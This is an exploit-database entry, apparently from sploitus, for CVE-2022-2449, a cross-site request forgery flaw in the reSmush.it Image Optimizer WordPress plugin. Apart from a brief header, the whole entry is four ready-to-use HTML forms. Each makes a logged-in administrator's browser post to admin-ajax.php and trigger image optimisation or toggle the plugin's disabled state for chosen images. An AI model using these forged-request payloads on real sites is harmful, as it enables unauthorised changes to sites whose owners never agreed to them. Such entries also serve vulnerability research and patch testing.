Exploit for reSmush.it Image Optimizer < 0.4.7 - Multiple CSRF CVE-2022-2449

Name: Exploit for reSmush.it Image Optimizer < 0.4.7 - Multiple CSRF CVE-2022-2449
Rating: 5 (79 reviews)

2022-10-19 | CVSS 0.5

## https://sploitus.com/exploit?id=WPEX-ID:6E42F26B-3403-4D55-99AD-2C8E2D76E537
<!--optimize all images-->
<html>
  <body>
    <form action="https://target/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="resmushit&#95;bulk&#95;get&#95;images" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
<!--optimize single image-->
<html>
  <body>
    <form action="https://target/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="resmushit&#95;optimize&#95;single&#95;attachment" />
      <input type="hidden" name="data&#91;id&#93;" value="88" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
<!--disable resmushit for single image-->
<html>
  <body>
    <form action="https://target/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="resmushit&#95;update&#95;disabled&#95;state" />
      <input type="hidden" name="data&#91;id&#93;" value="90" />
      <input type="hidden" name="data&#91;disabled&#93;" value="true" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
<!--enable resmushit for single image-->
<html>
  <body>
    <form action="https://target/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="resmushit&#95;update&#95;disabled&#95;state" />
      <input type="hidden" name="data&#91;id&#93;" value="90" />
      <input type="hidden" name="data&#91;disabled&#93;" value="false" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>